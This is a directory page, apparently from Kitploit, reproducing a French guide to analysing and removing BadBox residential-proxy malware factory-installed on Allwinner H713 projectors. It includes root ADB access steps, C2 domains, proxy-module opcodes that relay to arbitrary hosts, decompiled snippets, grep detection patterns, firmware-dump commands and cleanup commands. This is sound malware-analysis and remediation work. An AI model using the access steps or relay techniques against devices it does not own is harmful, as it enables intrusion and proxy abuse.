Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
badbox-h713-projector — Guide d'analyse et de nettoyage du malware BadBox sur les projecteurs Android Allwinner H713 : accès ADB, preuve d'infection, sauvegarde du firmware, suppression du dropper et vérification. | Kitploit
Outils/GitHubGitHub/florentineprinzessinzusachsen/badbox-h713-projector
Sécurité AndroidSécurité des Systèmes EmbarquésSécurité IoTRétro-ingénierieCollecte d'InformationsAnalyse de MalwareCriminalistique NumériqueSécurité MobileSécurité Matériel et IoT

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Réponse aux Incidents
Analyse de Micrologiciel
GitHubflorentineprinzessinzusachsen/badbox-h713-projector

badbox-h713-projector

Guide d'analyse et de nettoyage du malware BadBox sur les projecteurs Android Allwinner H713 : accès ADB, preuve d'infection, sauvegarde du firmware, suppression du dropper et vérification.

Voir le dépôt
117il y a 1 jourPas encore vérifié
Partager

Projet de malware Wielo / Atongmu Projector : analyse et nettoyage de BadBox (AT-M269 / H713)

26 sept. 2026 · @R

Un projecteur Android bon marché (Wielo / Atongmu AT-M269, Allwinner H713) est livré avec un dropper au niveau système qui le transforme en nœud de proxy résidentiel. Ce document montre comment y accéder sans ouvrir le boîtier, prouver l'infection, sauvegarder le firmware, supprimer le malware et vérifier le résultat.

1. Appareil

Projecteur LCD sans marque vendu sous des marques changeantes. La carte et le firmware sont partagés entre de nombreux projecteurs H713 (clones HY300 et autres), donc tout ce qui suit s'applique plus largement.

PropriétéValeur
Vendu commeWielo Smart Projector, modèle AT-M269 (FCC ID 2BAAR-AT-M269D)
FabricantShenzhen Atongmu Technology ; firmware et applications du fabricant « ASHD »
Révision matériellepersist.sys.cm.hardversion = AT-M269_720P_HP_202410221430
SoCAllwinner H713M (ro.boot.hardware = sun50iw12p1), quad Cortex-A53 ; carte exdroid, plateforme ares
RAM / stockage1 Go DDR @ 576 MHz / 8 Go eMMC (7 818 182 656 octets)
Wi-Fi / BluetoothAIC8800 (aic8800d80, pilote rwnx 6.4.3.0)
NoyauLinux 5.4.99, 32 bits (armv7l), compilé le 8 déc. 2025
Build réelh713m_tuna_p3-user 11 RP1A.201005.006 eng.work3.20251208.154308 release-keys, firmware H713M-android11-v1.0, hôte de build ishang-PC
OSAndroid 11 (SDK 30), build user, correctif de sécurité 2022-02-05
DéguisementSe présente comme Google ADT-3 (marque/modèle/appareil, fabricant askey) ; modèle réel dans ro.product.model2 = AT-M269
Partitions / bootA/B virtuel, slot actif _b, partitions dynamiques (retrofit) dans super ; AVB 2.0, vbmeta.device_state = locked, verifiedbootstate vide ; déverrouillage OEM non autorisé ; /system plein à 100 %
Sécuritéro.debuggable=1, ro.adb.secure=0, service.adb.root=1, ADB sur tcp/5868, SELinux permissif, permissions privapp permissive, clés de test AOSP
Paramètres régionaux par défautFuseau horaire Asia/Shanghai, zone DTV cn / DTMB

Read the identity yourself

adb shell getprop ro.product.model # ADT-3 <- spoofed, to pass Google certification adb shell getprop ro.product.model2 # AT-M269 <- real model adb shell getprop ro.board.platform # ares, H713 platform name adb shell getprop ro.build.type # user <- release build

root@kitploit:~
## 2. Accès

ADB écoute sur le réseau, sur un port non standard, sans invite d'autorisation et avec les droits root.```
# 1. Find open ports (projector on an isolated network)
nmap -p- 10.56.215.10
#   5868/tcp open   <- nmap guesses "diameters"; it is actually adbd

# 2. Confirm from the device side (e.g. via Termux on the projector)
getprop service.adb.tcp.port   # 5868
getprop ro.adb.secure          # 0    -> no "allow debugging?" prompt
getprop init.svc.adbd          # running

# 3. Connect from a computer
adb connect 10.56.215.10:5868
adb root
adb shell id                   # uid=0(root)

Éteindre la lampe pendant le travail via ADB```

adb shell 'echo adb_keepalive > /sys/power/wake_lock' # keep CPU/Wi-Fi awake (needs root adbd) adb shell cat /sys/power/wake_lock # adb_keepalive must be listed adb shell input keyevent KEYCODE_SLEEP # display + lamp off, ADB stays connected

when done

adb shell input keyevent KEYCODE_WAKEUP # lamp on adb shell 'echo adb_keepalive > /sys/power/wake_unlock' # release the wakelock

root@kitploit:~
`/sys/class/backlight/tv` > `brightness`/`bl_power` n'ont aucun effet.

## 3. Chaîne d'infection

Deux applications système préinstallées s'exécutent en tant qu'utilisateur système (UID 1000). L'une télécharge un loader, le loader télécharge quatre modules proxy et un second loader indépendant.```
Firmware (preinstalled, UID 1000)
├─ com.android.sysapp          /system/priv-app/AshdSysApp
│    OTA updater, can replace the whole firmware (update.zip / payload.bin)
│    C2: wjtysj.ishanghd.com/hx_kt.php
│
└─ com.android.umanalytics.yiyou /system/app/AndroidAnalytics_yiyou
     Dropper; Umeng + Baidu tracking
     └─ downloads cache/plugin.jar       (DEX, from *.ishanghd.com)
          ├─ app installer: pulls app lists per device profile, pm install -r
          │    └─ installs Disney+ etc. and com.google.adtest (payload)
          └─ "hs" task loader, C2 api.loritor.cc / api.nizero.cc, every 6 h
               └─ 4 encrypted modules  code_cache/.hs/.file/.rf/*.rf
                    SKN0041 com.ad.proxy   SKN0054 com.szns.sdk
                    SKN0058 com.link.core  SKN0061 ddth2 (VpsSdk)
                    -> all four: residential proxy clients

com.google.adtest (/data/app, installed by yiyou)
     Second loader "com.speed", own C2 (api.logobi.cc, api.pechlo.cc, ...)
     Native plugin loader, may install/delete packages -> backup channel

> le trafic internet d'inconnus est routé via votre connexion, et votre appareil est suivi (numéro de série, adresses MAC, SSID/BSSID Wi-Fi).

4. Preuve d'une infection au niveau de l'usine

a) Trafic de type proxy : un processus, de nombreuses connexions étrangères```bash

adb shell "netstat -tnp | grep ESTABLISHED"

tcp6 ... ::ffff:43.116.39.73:188 ESTABLISHED 4795/com.android.umanalytics.yiyou

tcp6 ... ::ffff:198.44.189.x:9200 ESTABLISHED 4795/com.android.umanalytics.yiyou

... ~25 lines, same process, many IPs, odd ports

-> an "analytics" app does not hold 25 parallel sessions: this is a proxy node

root@kitploit:~
### **b) Qui a installé quoi**```bash
adb shell pm list packages -i | grep -v 'installer=null\|com.android.vending'
# package:com.google.adtest       installer=com.android.umanalytics.yiyou  <- payload
# package:com.disney.disneyplus   installer=com.android.umanalytics.yiyou  <- cover
#  -> a system "analytics" app installing packages = dropper

adb shell dumpsys package com.google.adtest | grep -E 'codePath|firstInstallTime'
#  fake Google name, lives in /data/app, installed silently

c) Fichiers de payload dans le dossier de données du dropper```bash

adb shell 'ls -laR /data/data/com.android.umanalytics.yiyou' | grep -E 'plugin.jar|.rf|files/apps'

cache/plugin.jar <- downloaded loader (DEX)

code_cache/.hs/.file/.rf/-1.dex_assdk_huang_SKN00xx.rf <- 4 encrypted modules

files/apps/com.google.adtest.apk <- stored payload for reinstall

directories are chmod 777

root@kitploit:~
### **d) Configuration au niveau du système**```bash
adb shell getprop ro.product.model
# ADT-3 (spoofed)
adb shell dumpsys package com.android.sysapp | grep sharedUser
# android.uid.system  -> runs with system privileges
adb shell dumpsys package com.android.sysapp | grep -E 'INSTALL_PACKAGES|RECOVERY|MASTER_CLEAR'
# unnamed OEM app that may install apps, flash firmware and wipe the device
adb shell cat /system/etc/init/qw.rc
# service qw /system/bin/qw --daemon  user root

e) Un malware a été exécuté le jour de la compilation en usine

Le malware est intégré directement dans le firmware. La date de compilation est eng.work3.20251208.154308, le noyau a été compilé le Mon Dec 8 15:27:38 CST 2025. Les enregistrements de yiyou montrent qu'il était en cours d'exécution le jour même :```

baidu_mtj_sdk_record.xml (yiyou data)

session_recent_visit: [{"day":20251208,"count":1}, {"day":20260910,...}, ...]

first recorded run = 8 Dec 2025, the day the firmware was built

ua.db (yiyou's Umeng session table), timestamps column __f

1765179258896 -> 2025-12-08 07:34 UTC = 15:34 CST, ~7 min after the kernel build

root@kitploit:~
### **f) Logiciel malveillant dans l'image système signée par le fournisseur et en lecture seule**

Un utilisateur ou une application ultérieure ne peut pas placer de fichiers dans `/system`. Cela fait partie de `super`, protégé par dm-verity et signé via `vbmeta`.

## 5. Vue d'ensemble de l'architecture du logiciel malveillant

### 5.1. Composants principaux

| Composant                         | Emplacement                  | Ce qu'il fait                                                                                                    |
| --------------------------------- | ---------------------------- | --------------------------------------------------------------------------------------------------------------- |
| `com.android.umanalytics.yiyou`   | `/system/app`, UID 1000      | Télécharge et exécute `plugin.jar` ; envoie le numéro de série, les adresses MAC, android_id, le SSID/BSSID Wi-Fi, l'adresse MAC Bluetooth à Umeng/Baidu |
| `plugin.jar` (DEX)                | cache de yiyou               | Deux parties : l'installateur d'applications (listes d'applications par appareil, plus de 40 profils pour H713/RK3326/HY300) et le chargeur de tâches « hs »    |
| Chargeur de tâches « hs »         | à l'intérieur de `plugin.jar` | Interroge le C2 toutes les 6 h pour des tâches de type `jar`, `dex` ou `apk` ; télécharge, vérifie le MD5, exécute                     |
| SKN0041 `com.ad.proxy`            | module `.rf`                 | Tunnellisation TCP/UDP/ICMP, heartbeat, connexion/rapport                                                              |
| SKN0054 `com.szns.sdk`            | module `.rf`                 | Nœud proxy plus analyse UDP depuis votre réseau                                                                  |
| SKN0058 `com.link.core`           | module `.rf`                 | Client proxy avec ses propres résolveurs DNS                                                                         |
| SKN0061 `ddth2` / VpsSdk          | module `.rf`                 | Passerelle proxy, nombreuses instances clientes parallèles                                                                   |
| `com.google.adtest` (« com.speed ») | `/data/app`                  | Second chargeur avec chargeur de plugin natif ; installe/supprime des paquets ; redémarre au démarrage, sur événement réseau, HDMI, alimentation |
| `com.android.sysapp`              | `/system/priv-app`, UID 1000 | Programme de mise à jour OTA : peut télécharger et flasher une image de firmware complète                                                       |
| Fichiers Widevine                    | `/data/mediadrm/IDM1013/L3/` | `plugin.jar` dépose un ensemble de clés/licences DRM afin que les applications de streaming fonctionnent sur l'appareil non certifié                     |

### 5.2. Comment les éléments restent cachés```
# C2 hostnames are not in plain text: gzip + Base64 + AES-CFB with a hardcoded key.
#   decrypted: api.loritor.cc (master), api.nizero.cc (slave)
# DNS is resolved via DNS-over-HTTPS (dns.google, cloudflare-dns.com, doh.pub, 223.5.5.5)
#   -> router DNS blocking alone misses it
# .rf module layout (per file):
#   [version][...][salt:32 bytes][invocation: AES][module: AES][DSA signature]
#   invocation = {"cn":"com.hotota.p.d.MainApi","m_init":"start_W00xx","m_uninit":"stop"}
#   module     = an APK whose classes.dex is loaded with DexClassLoader
# Modules are signed, so only the operator can push new ones.

5.3. Ce que le suivi envoie```

shared_prefs/info.xml wifiinfo: ssid, bssid, device MAC, IP; blueinfo: BT MAC; accelerometer samples shared_prefs/umeng_*.xml appkey 61c17582e014255fcbc1a9af, channel ashd-analytics umeng_general_config.xml first_activate_time = 2 Mar 2026, successful_request = 218 hs.prefs_1.xml periods=21600 (6 h), last.trackerid = SKN0061

root@kitploit:~
### 5.4. Mouvement latéral

**Pas de mouvement latéral automatique, mais une porte d'entrée vers le LAN**

> Mais **SKN0041** et **SKN0058** relaient vers n'importe quelle cible nommée par la passerelle, et SKN0041 peut également la pinguer sur commande. Quiconque loue le proxy peut atteindre ou sonder le LAN manuellement.

- `plugin.jar`
- modules `.rf` déchiffrés SKN0041/54/58/61
- `com.google.adtest`, yiyou, sysapp
- `com.android.nfx` (NFXAccessibility)
- natif : `qw`, `systemmixservice`, `libsystemmix_jni.so`, `libsystemmixservice.so````bash
grep -rlE 'ServerSocket|DatagramSocket|MulticastSocket|NetworkInterface|getDhcpInfo|/proc/net/arp|239\.255\.255\.250|224\.0\.0\.251|:5555|telnet|isReachable|NsdManager|JmDNS|UPnP|Cling|SSDP|WifiP2pManager|getBroadcast|broadcastAddress|SubnetMask|prefixLength|getLinkAddresses|InterfaceAddress' analysis/decompiled/*/sources
grep -rlE 'Runtime\.getRuntime\(\)\.exec|ProcessBuilder' analysis/decompiled/*/sources
root@kitploit:~
|| str.matches("^192\\.168\\..*") || str.matches("^127\\..*")

// no 169.254.0.0/16 clause and no IPv6 form here, a link-local or IPv6 LAN target slips through

// SKN0061 ddth2/hidden/F.java - InetAddress's own range checks, covers link-local and IPv6 too !a.isAnyLocalAddress() && !a.isLoopbackAddress() && !a.isLinkLocalAddress() && !a.isSiteLocalAddress() && !a.isMulticastAddress()

// SKN0041 com/ad/proxy/b/Q.java - "url init" command: fetches any URL, no check InetAddress byName = InetAddress.getByName(host); createSocket.connect(new InetSocketAddress(byName, port), 10000);

// SKN0058 com/link/core/a/e.java - connects to the server-supplied address, no check this.c.connect(new InetSocketAddress(inetAddress, this.d));

root@kitploit:~
L'ensemble complet des commandes de SKN0041, issu de la table de dispatch `com/ad/proxy/b/a0.java` :

| Opcode | Handler    | Rôle                                                                               |
| ------ | ---------- | ---------------------------------------------------------------------------------- |
| 1 / 2  | U / V      | requête / réponse de heartbeat                                                       |
| 3      | W          | ouvre une connexion TCP brute vers un host:port fourni par l'opérateur, sans vérification d'adresse |
| 5 / 7  | X / Y      | envoi / fermeture tcp sur une transaction ouverte                                   |
| 8      | Z          | ouvre une session UDP brute vers un host:port fourni par l'opérateur, sans vérification d'adresse |
| 11     | K          | fermeture udp                                                                       |
| 12     | L → P.java | exécute `ping -c 10 <host>` sur un hôte fourni par l'opérateur, relaie la sortie complète |
| 14     | M → Q.java | récupère une URL fournie par l'opérateur, sans vérification                         |

Aucun de ces opcodes ne filtre par plage d'IP.

Le serveur de re-streaming vidéo `plugin.jar` (`com.cloudmedia.tv.server.d`, un fork de NanoHTTPD servant des réécritures de flux Aiqiyi/Youku/CIBN) se lie sans hôte défini, ce qui signifie toutes les interfaces, accessible depuis le LAN, pas seulement localhost, s'il démarre. Son unique point d'entrée est `ParserUtils.AnalyticsHelper()`, derrière `getprop ro.board.platform == "rk3188"`. Cet appareil rapporte `ares` (H713), donc la barrière reste fermée.

État de l'appareil en direct : `netstat -tnp` ne montre que le screen-cast en loopback (`com.android.toofifi` sur `127.0.0.1:5354`), GMS vers Google en IPv6, et la session ADB. Aucun processus `yiyou`, `sysapp`, `speed`, `umanalytics` ou `adtest` en cours d'exécution.

L'interface Binder de `systemmixservice` (lecture/écriture/suppression arbitraire de fichiers et définition de propriétés en root, accessible par n'importe quelle application sur l'appareil) constitue une élévation de privilèges locale. Supprimer le dropper et ne pas installer d'APK non fiables la neutralise.

## 6. Indicateurs

Les indicateurs réseau (domaines, URLs, IPs) se trouvent dans la [section 11](#11-consolidated-hosturl-list-for-abuse-reports).

### 6.1. Paquets

| Paquet                                                         | Emplacement                                                | Rôle                                                             |
| --------------------------------------------------------------- | ------------------------------------------------------- | ---------------------------------------------------------------- |
| `com.android.umanalytics.yiyou`                                 | `/system/app/AndroidAnalytics_yiyou`, UID 1000 (system) | dropper                                                          |
| `com.android.sysapp` (AshdSysApp)                               | `/system/priv-app/AshdSysApp`, UID 1000 (system)        | backdoor du canal OTA                                             |
| `com.google.adtest` (vrai nom `com.fotas.wanapp`, "com.speed") | `/data/app`                                             | second loader                                                    |
| `com.cloudmedia.testapk`                                        | `/system/app`                                           | application de test d'usine OEM, supprimée en même temps que le dropper dans la section 8 |
| `com.disney.disneyplus`                                         | `/data/app`                                             | application de couverture installée par le dropper                               |
| `com.android.nfx`                                               | `/system/priv-app/NFXAccessibility`                     | conservée, inoffensive (assistant de télécommande Netflix)                   |

### 6.2.Binaires

| Binaire                                                                             | Service init                                                                          | Ce qu'il fait                                                                                                                                                                                                                                                                                  |
| ---------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `/system/bin/qw`                                                                   | **`qw`**: `class core`, `user root`, s'exécute en permanence depuis le boot                       | Démon su Superuser/ClockworkMod (ouvre les sockets `/dev/com.koushikdutta.superuser` + `.daemon`).                                                                                                                                                                                               |
| `/system/bin/appsdisable`                                                          | **`appsdisable`**: déclenché `on property:sys.boot_completed=1`, `disabled`+`oneshot` | Après un sommeil de 4 s au boot (`settings ... global start_disable`), trouve chaque paquet installé avec un receiver `BOOT_COMPLETED` dont le composant commence par `com.google.android` et le `pm disable` pour tuer les propres vérifications de Google au démarrage comme le scan Play Protect et les services core GMS. |
| `/system/bin/gmsopt`                                                               | **`gmsopt`**: même déclencheur et mêmes flags que appsdisable                                   | Même comportement de désactivation des receivers Google au boot qu'appsdisable mais en excluant `com.google.android.permissioncontroller`. Redondant.                                                                                                                                                                |
| `/system/bin/systemmixservice` (+ `libsystemmix_jni.so`, `libsystemmixservice.so`) | **`systemmix`**: `class main`, `user root`, `oneshot`                                 | Natif OEM ? Objectif non entièrement déterminé mais appartient au groupe root.                                                                                                                                                                                                                                   |

### 6.3. Fichiers & répertoires

| Chemin                                                                                                                                                                          | Quoi                                                     |
| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------- |
| `/data/data/com.android.umanalytics.yiyou/cache/plugin.jar`                                                                                                                   | loader "hs" / DEX d'installation d'applications téléchargé               |
| `/data/data/com.android.umanalytics.yiyou/code_cache/.hs/.file/.rf/*.rf`                                                                                                      | modules proxy chiffrés (SKN0041/54/58/61)               |
| `/data/data/com.android.umanalytics.yiyou/files/apps/com.google.adtest.apk`                                                                                                   | copie de la charge utile stockée pour réinstallation silencieuse                 |
| `/data/data/com.android.umanalytics.yiyou/files/libcuid.so`                                                                                                                   | bibliothèque native d'aide à l'identifiant d'appareil                          |
| `/data/data/com.android.umanalytics.yiyou/databases/ua.db`                                                                                                                    | base de données de session Umeng                                         |
| `/data/data/com.android.umanalytics.yiyou/shared_prefs/{info.xml, umeng_*.xml, hs.prefs_1.xml, hs.cuid.v1.xml, vps_sdk_prefs.xml, Plugin.xml, baidu_mtj_sdk_record.xml, ...}` | préférences de tracking/config                                    |
| `/data/data/com.android.sysapp/shared_prefs/SHARE.xml`                                                                                                                        | préférences d'état de téléchargement OTA                                 |
| `/data/mediadrm/IDM1013/L3/`                                                                                                                                                  | bundle DRM Widevine L3 déposé                           |
| `/data/local/tmp/*`, `/data/ota_package/tmp/*`                                                                                                                                | espace de travail/résiduel utilisé par le loader et le client OTA |

### 6.4. Hachages des échantillons

| Échantillon                          | SHA-256                                                            |
| ------------------------------- | ------------------------------------------------------------------ |
| `plugin.jar`                    | `e2e5f86df18e0cdef9595bd886280f158001250f1565fa3e6dfe492b114be6f7` |
| SKN0041 (déchiffré)             | `d7b26e53ade1cfcd283bfbbc5de7f792e8f8d441d74162eeef7e8a7c83ed5dba` |
| SKN0054 (déchiffré)             | `ba3b320791b80dae25d07e17e43d4b11b5c5a0d8b989fdb4a7f47ccb39201307` |
| SKN0058 (déchiffré)             | `60ade80fcd0a1c5bb3f62e76cd056b0e8034fdbe1e9834c335c0e60d99d12742` |
| SKN0061 (déchiffré)             | `fcffed775c6d6967bd40e4fa5b529f9fd301b3ebd64a555c756943d1e863fea7` |
| `com.google.adtest.apk`         | `1298662eb6d087aa1e6f967d50581e998b5897ec1563bdf96589540845874110` |
| `AndroidAnalytics_yiyou.apk`    | `c4910d6fa666eff03bdc683423f7f2585cb263f8dcbf5f1fe7a1e2643eb384aa` |
| `AshdSysApp.apk`                | `f9cd44d359c9b0c92ddb8b868665a3e8edd54a19cc21a35fb2fba7dbdf36bb5a` |
| `L3.zip` (bundle Widevine)      | `8367725743c27ed1fd49d5eb086e7b260cfcf38a825a8892ce31b45e767e228f` |
| `favorite.ico` (config SKN0054) | `8d64d2982f8f5cb01ad1bbce53861e09eae2884fe8c545ac9023b636c8f5ffa2` |

## 7. Sauvegarde

Aucun firmware pour ce modèle ne semble publié, et le serveur OTA du fabricant rétro-ingénieré ne renvoie rien non plus.```
# Simple one-shot dump (fine over USB; over Wi-Fi it can stall)
adb exec-out "dd if=/dev/block/mmcblk0 bs=4M 2>/dev/null" > mmcblk0.img
adb shell 'ls /dev/block/mmcblk0boot*'      # eMMC boot areas, dump them too if present

En Wi-Fi, utilisez les scripts d'assistance

  1. dump-pull.sh [ip:port|usb] [file] récupère par blocs de 256 Mo avec une vérification de taille et des tentatives répétées. Le relancer reprend au dernier bloc complet. Avant la lecture, il remonte /data avec background_gc=off,nodiscard, synchronise et attend 10 s. En USB, il exécute également adb shell stop. Les deux sont annulés à la sortie (remontage background_gc=on,discard, start). UDISK correspond à /data et reste actif, donc son hash peut encore différer d'une exécution à l'autre.
  2. dump-verify.sh [ip:port|usb] [file] [-y] vérifie la taille, les en-têtes GPT, les zones de démarrage et chaque partition (SHA-256 de l'appareil vs. la même plage d'octets dans l'image). Il lit et corrige toute section non concordante. En cas de validation sans erreur, il écrit mmcblk0.img.sha256.```

What the partition check does, per partition

p=$(adb shell readlink /dev/block/by-name/super | xargs basename) # e.g. mmcblk0p9 s=$(adb shell cat /sys/block/mmcblk0/$p/start) # start sector (512 B) z=$(adb shell cat /sys/block/mmcblk0/$p/size) # size in sectors adb shell sha256sum /dev/block/by-name/super # hash on the device tail -c +$((s512+1)) mmcblk0.img | head -c $((z512)) | shasum -a 256 # same range in the image

userdata, metadata, misc change while Android runs: a mismatch there is expected

root@kitploit:~
### Restaurer le chemin

Entrez en mode Allwinner FEL, puis flashez avec PhoenixUSBPro via un câble USB-A vers USB-A.

Il n'y a pas de trou d'épingle externe pour démarrer en FEL : `adb reboot efex` ou `fastboot oem efex`.

Solution matérielle de secours possible : le pad FEL sur la carte, visible sur les photos internes de la FCC (nécessite l'ouverture du boîtier). Le flashage nécessite un `update.img` IMAGEWTY, construit à partir de votre dump avec `awimg.py` ([well0nez/magcubic-root](https://github.com/well0nez/magcubic-root)) et un template H713.

FEL est en écriture seule. PhoenixSuit et PhoenixUSBPro ne peuvent pas relire l'eMMC, et `sunxi-fel` n'a pas de disposition SRAM pour le H713, seules les commandes en lecture seule fonctionnent ([sunxi-tools #226](https://github.com/linux-sunxi/sunxi-tools/issues/226)).

Le dump ADB ci-dessus reste la méthode de sauvegarde.

### **Modes de démarrage**

L'unité est en A/B (`ro.build.ab_update=true`) avec le slot `_b` actif. Il n'y a pas de partition `recovery` : le recovery réside dans le ramdisk de boot. La console série U-Boot est `ttyS0` à 115200 bauds.

| Mode            | Comment y entrer                                                                                                 | Niveau                 | Statut                                                                                      |
| --------------- | ------------------------------------------------------------------------------------------------------------ | --------------------- | ------------------------------------------------------------------------------------------- |
| Android         | démarrage normal, `adb reboot`                                                                                | kernel                | fonctionne                                                                                       |
| Recovery        | `adb reboot recovery`                                                                                        | boot ramdisk          | fonctionne, menu ci-dessous                                                                           |
| fastbootd       | menu recovery : Enter fastboot                                                                                | espace utilisateur en recovery | entre                                                                                      |
| U-Boot fastboot | menu recovery : Reboot to bootloader, ou `adb reboot bootloader`                                              | U-Boot                | fonctionne (macOS nécessite le correctif ci-dessous)                                                           |
| U-Boot efex     | `fastboot oem efex` depuis U-Boot fastboot, ou `adb reboot efex` (U-Boot a aussi un déclencheur distant `ir-efex`) | U-Boot                | fonctionne via `fastboot oem efex` et via `adb reboot efex` : `1f3a:efe8`, la poignée de main FEL répond |
| BootROM FEL     | pad de test FEL                                                                                                 | SoC BootROM           | non testé                                                                                    |

### **Menu recovery :**

- Reboot system now
- Reboot to bootloader
- Enter fastboot
- Apply update from ADB
- Apply update from SD card
- Wipe data/factory reset
- Mount /system
- View recovery logs
- Run graphics test
- Run locale test
- Enter rescue
- Power off

### **ADB via USB**

le socket qui prend USB0 (`ohci0`) fonctionne en hôte par défaut. Il bascule en mode périphérique jusqu'au prochain redémarrage avec :```
adb shell cat /sys/devices/platform/soc@2900000/soc@2900000:usbc0@0/usb_device
adb -d shell id

U-Boot fastboot non détecté

le gadget apparaît comme 1f3a:1010 ("USB Developer"), et son interface est le fastboot standard ff/42/03. Sa classe de périphérique est ff, cependant, l'os (macOS ici) semble ne pas configurer de configuration et fastboot devices reste vide.

Si cela se produit, la solution consiste à définir la configuration une fois avec pyusb, puis à utiliser fastboot normalement :```

one-time setup

brew install libusb python3 -m venv ~/venvs/fastboot source ~/venvs/fastboot/bin/activate pip install pyusb

each time the projector is in U-Boot fastboot

source ~/venvs/fastboot/bin/activate python3 -c 'import usb.core; usb.core.find(idVendor=0x1f3a,idProduct=0x1010).set_configuration()' fastboot devices

root@kitploit:~
### **FEL/efex**

Depuis le fastboot U-Boot, `fastboot oem efex` bascule vers le gadget efex `1f3a:efe8`. (Peut nécessiter la même correction `set_configuration()`)

**Compilation de sunxi-tools depuis les sources**```
# one-time: build sunxi-fel
brew install libusb dtc pkg-config
git clone https://github.com/linux-sunxi/sunxi-tools
cd sunxi-tools && make sunxi-fel
sudo cp sunxi-fel /usr/local/bin/   # optional, else call ./sunxi-fel

# enter efex and check the handshake (read-only)
fastboot oem efex
source ~/venvs/fastboot/bin/activate
python3 -c 'import usb.core; usb.core.find(idVendor=0x1f3a,idProduct=0xefe8).set_configuration()'
sunxi-fel --list --verbose
sunxi-fel version

AWUSBFEX soc=00001860(unknown) 00000001 ver=0001 44 08 scratchpad=00121500 00000000 00000000.
Utilisez uniquement version et --list, jamais spl, uboot, write ou exe car les outils sunxi ne connaissent pas le chipset.

Pour quitter le FEL, débranchez d'abord l'USB, puis coupez l'alimentation jusqu'à ce que la led bleue du projecteur s'éteigne. wdreset ne fonctionne pas sans les données du SoC.

8. Nettoyage

8.1. Sauvegarde des preuves```

mkdir -p evidence && cd evidence adb shell getprop > getprop.txt adb shell pm list packages -f -i -U > packages.txt adb shell "netstat -tnp" > netstat.txt adb shell 'ls /system/etc/init /vendor/etc/init' > init-files.txt

APKs of the suspicious apps

adb pull /system/app/AndroidAnalytics_yiyou adb pull /system/priv-app/AshdSysApp adb pull "$(adb shell pm path com.google.adtest | cut -d: -f2)" adtest.apk

Complete app data incl. hidden folders (plugin.jar, .rf modules, prefs)

adb exec-out 'tar -cf - /data/data/com.android.umanalytics.yiyou /data/data/com.android.sysapp' > appdata.tar tar -tvf appdata.tar | grep -E '.jar|.rf|.apk|.xml' # check nothing is missing find . -type f -exec shasum -a 256 {} + > ../SHA256SUMS

root@kitploit:~
### 8.2. Suppression```
# System apps (UID 1000): cannot be deleted from /system without a firmware rebuild.
# Stop, disable, wipe data for user 0 -> inert for the running system, survives reboots.
for p in com.android.umanalytics.yiyou com.android.sysapp com.cloudmedia.testapk; do
  adb shell am force-stop $p
  adb shell pm disable-user --user 0 $p
  adb shell pm clear $p
done

adb shell pm uninstall com.google.adtest

# I removed this too for safety
adb shell pm uninstall com.disney.disneyplus

# Leftovers
adb shell 'rm -rf /data/local/tmp/* /data/ota_package/tmp/*'

adb reboot

Conservé, probablement inoffensif :

  • qw (démon su, supprimable uniquement en modifiant /system, accessible localement seulement)
  • applications OEM inoffensives : appsdisable, gmsopt, systemmixservice
  • com.android.nfx (assistant de télécommande Netflix)

Vérification anti-altération

La désinstallation de yiyou casse les Paramètres. Le checkSHA1() de com.ashd.settings effectue deux vérifications :

  1. Le propre certificat de signature des Paramètres, qui doit correspondre à l'un de cinq SHA1 codés en dur (CD:B1:B7:56:85:FE:16:C2:7E:4C:45:59:54:43:AC:B0:1F:68:40:91, 60:35:FD:9E:68:E9:20:C2:B5:B0:7C:F2:B5:10:F2:83:47:06:DE:15, 6E:40:BA:7F:F7:90:7D:40:C2:F1:6D:12:E4:63:E5:E4:A3:F1:5A:01, 27:19:6E:38:6B:87:5E:76:AD:F7:00:E7:EA:84:E4:C6:EE:E3:3D:FA, F6:08:8C:ED:B9:9A:EC:82:A7:7D:F3:F9:01:97:06:BE:C0:65:E4:9A)
  2. Vérifier si com.android.umanalytics.yiyou, (ou com.android.umanalytics.kege, probablement le nom du dropper sur d'autres versions de firmware), est enregistré pour l'utilisateur 0.

Les deux chemins d'échec journalisent 签名校验失败,关闭应用 (« échec de la vérification de signature, fermeture de l'application »). Désinstaller complètement yiyou (plutôt que simplement le désactiver, comme ci-dessus) déclenche ceci. adb shell pm install-existing com.android.umanalytics.yiyou restaure l'enregistrement sans le réactiver.

8.3. Confirmation```

adb connect 10.56.215.10:5868

adb shell pm list packages | grep -iE 'yiyou|sysapp|adtest|speed|testapk' # expect: nothing adb shell ps -A | grep -iE 'yiyou|sysapp|speed|umanalytics' # expect: nothing adb shell 'ls /data/data/com.android.umanalytics.yiyou 2>&1' # expect: No such file adb shell "netstat -tnp | grep ESTABLISHED"

expect: only adbd to your computer (plus Google services, if allowed)

red flag: any process with several connections to public IPs

adb shell pm list packages -3 -i # new apps? check their installer

root@kitploit:~
**Résultats sur cette unité après nettoyage et redémarrage :**```
adb shell "netstat -tnp"
# tcp   127.0.0.1:52992  127.0.0.1:5354  ESTABLISHED 3351/com.android.toofifi  <- local screen-cast service
# tcp   127.0.0.1:52994  127.0.0.1:5354  ESTABLISHED 3351/com.android.toofifi
# tcp6  10.56.215.10:5868  <your computer>  ESTABLISHED 5332/adbd              <- your ADB session
#  -> no outbound connections left (before: ~25 from yiyou)

Répétez la vérification netstat après 24 heures (le loader se manifeste toutes les 6 heures) et recherchez les correspondances de liste de blocage provenant de l'IP du projecteur dans vos journaux DNS et de pare-feu.

8.4. Limites

  • Une réinitialisation d'usine restaure yiyou & sysapp. Réexécutez la section 8 avant tout accès réseau.
  • Remonter /system en lecture-écriture pour supprimer les APK n'est pas recommandé : vbmeta est verrouillé, /system est plein à 100 %, donc adb disable-verity + adb remount créerait une surcouche dans /data (perdue lors d'une réinitialisation d'usine, comme pm uninstall --user 0) au risque d'un échec de démarrage.
